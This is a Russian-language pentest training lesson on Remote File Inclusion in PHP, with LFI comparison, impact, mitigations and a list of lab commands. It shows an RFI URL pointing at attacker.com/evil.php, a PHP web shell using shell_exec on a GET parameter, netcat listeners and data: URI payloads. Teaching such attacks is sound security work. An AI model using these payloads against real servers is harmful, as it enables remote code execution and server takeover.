



**АКАДЕМИЯ**  
**КОДЕБАЙ**

ПРОФЕССИЯ ПЕНТЕСТЕР

Друзья, всех приветствую!

На сегодняшний день одной из самых опасных уязвимостей является Remote File Inclusion (RFI). В отличие от LFI, о которой мы говорили в предыдущем уроке, этот метод атаки позволяет нам внедрить и выполнить произвольный код, размещенный на удаленном сервере.

Включение удаленных файлов (RFI) характеризуется простотой эксплуатации и потенциальным воздействием на атакуемую систему. В среде, где безопасность веб-приложений является приоритетом, понимание механизмов, стоящих за этой уязвимостью, имеет важное значение для любой команды по безопасности.

Уязвимости удаленного включения файлов (RFI) возникают, когда приложение позволяет злоумышленнику включать файлы с удаленного сервера в код, выполняемый веб-сервером жертвы. Используя RFI, мы можем выполнить вредоносный код на целевом сервере, нарушив целостность, конфиденциальность и доступность приложения и обрабатываемых им данных.

Уязвимость RFI встречается в основном в веб-приложениях, которые принимают пользовательский ввод для определения того, какой файл включить. Если этот ввод не отфильтрован или не проверен должным образом, мы можем манипулировать вводом, чтобы указать на файл, размещенный на сервере, который находится под нашим контролем. Этот удаленный файл, часто написанный на языке сценариев, таком как PHP, может содержать вредоносный код, который будет выполнен сервером уязвимого приложения.

## **LFI или RFI?**

Включение локальных файлов (LFI) происходит, когда приложение разрешает включение локальных файлов, т. е. файлов, которые находятся на самом атакуемом сервере.

Хотя оба типа уязвимостей могут быть опасными, RFI, как правило, более серьезна, поскольку она позволяет выполнять внешние файлы, часто контролируемые злоумышленником, что открывает двери для широкого спектра векторов атак.

## Влияние RFI

Влияние уязвимости RFI может быть значительным для веб-приложения. Внедряя вредоносный код, мы можем:

- Установить вредоносное ПО: вредоносный удаленный файл может содержать код, предназначенный для загрузки и установки вредоносного ПО на целевой сервер. Затем это вредоносное ПО может использоваться для слежки за действиями на сервере, кражи конфиденциальных данных и т.д.
- Получить контроль над сервером: получив доступ для выполнения кода на сервере, мы можем повысить свои привилегии, чтобы получить полный контроль над сервером, что позволит выполнять такие действия, как удаление файлов, изменение конфигураций или использование сервера для проведения других атак.
- Извлечь данные: как только контроль будет получен, мы можем получить доступ к базам данных и файловым системам, извлекая конфиденциальную информацию, такую как информация о системе, идентификаторы пользователей и т.д.
- Изменить содержимое веб-сайта: мы можем внедрить вредоносный или мошеннический контент, что повлияет на репутацию организации и подвергнет посетителей риску.

Давайте рассмотрим пример.

Приложение, о котором пойдет речь, позволяет динамически загружать страницы в зависимости от параметров в URL. Эта функциональность может быть использована, если входные данные не проверяются должным образом, что, в свою очередь, приводит к удаленному включению файла:

```
https://vuln.ru/index.php?page=home
```

В данном случае, параметр “page” используется для включения PHP-файлов, соответствующих различным разделам веб-сайта.

Например, page=home включит файл “home.php”, а page=admin включит файл “admin.php”.

Наблюдая за поведением приложения, мы можем протестировать различные типы значений параметра страницы, чтобы увидеть, можно ли включить произвольные файлы.

Например:

```
https://vuln.ru/index.php?page=../etc/passwd
```

В этом случае атака не сработает, поскольку сервер добавит расширение “.php” к значению параметра страницы - ../etc/passwd.php.

Однако для атаки RFI целью является включение удаленного файла, контролируемого злоумышленником. Предположим, что злоумышленник имеет вредоносный файл PHP, размещенный на сервере под его контролем, например:

```
https://attacker.com/evil.php
```

Таким образом, мы можем попробовать передать этот URL в параметре страницы следующим образом:

```
https://vuln.ru/index.php?page=https://attacker.com/evil.php
```

Файл “evil.php” на нашем сервере может содержать код, который выполняет системные команды. Например, “id” и “hostname”:

```
<?php
```

```
system('id && hostname');
```

```
?>
```

Если этот файл будет включен, сервер выполнит системные команды и вернет в ответе результат выполнения этих команд:

Конфигурация веб-сервера играет ключевую роль в предотвращении RFI. Рекомендуется отключить включение удаленных файлов, установив параметр “allow\_url\_include” с значением “Off” в файле “php.ini” для сред PHP. Это предотвращает любые попытки включения файла с удаленного URL.

Аналогично, параметр “allow\_url\_fopen” (который позволяет функциям PHP, таким как “fopen”, обрабатывать URL-адреса как локальные файлы) следует отключать, если в этом нет крайней необходимости.

Команды, используемые в уроке:

```
http://192.168.0.174/index.php?file=http://192.168.0.170/evil.txt
```

```
kali@kali:~$ sudo nc -nlvp 80
```

```
<?php echo shell_exec($_GET['cmd']);?> // содержимое файла evil.txt
```

```
kali@kali:~$ sudo systemctl restart apache2
```

```
http://192.168.0.174/index.php?file=http://192.168.0.170/evil.txt&cmd=ipconfig
```

```
kali@kali:~$ python -m SimpleHTTPServer 7331
```

```
kali@kali:~$ python3 -m http.server 7331
```

```
kali@kali:~$ php -S 192.168.0.170:8888
```

```
kali@kali:~$ ruby -run -e httpd . -p 9000
```

```
kali@kali:~$ busybox httpd -f -p 18880
```

```
http://192.168.0.174/index.php?file=data:text/plain,hello world
```

```
http://192.168.0.174/index.php?file=data:text/plain,<?php echo  
shell_exec("dir"?>
```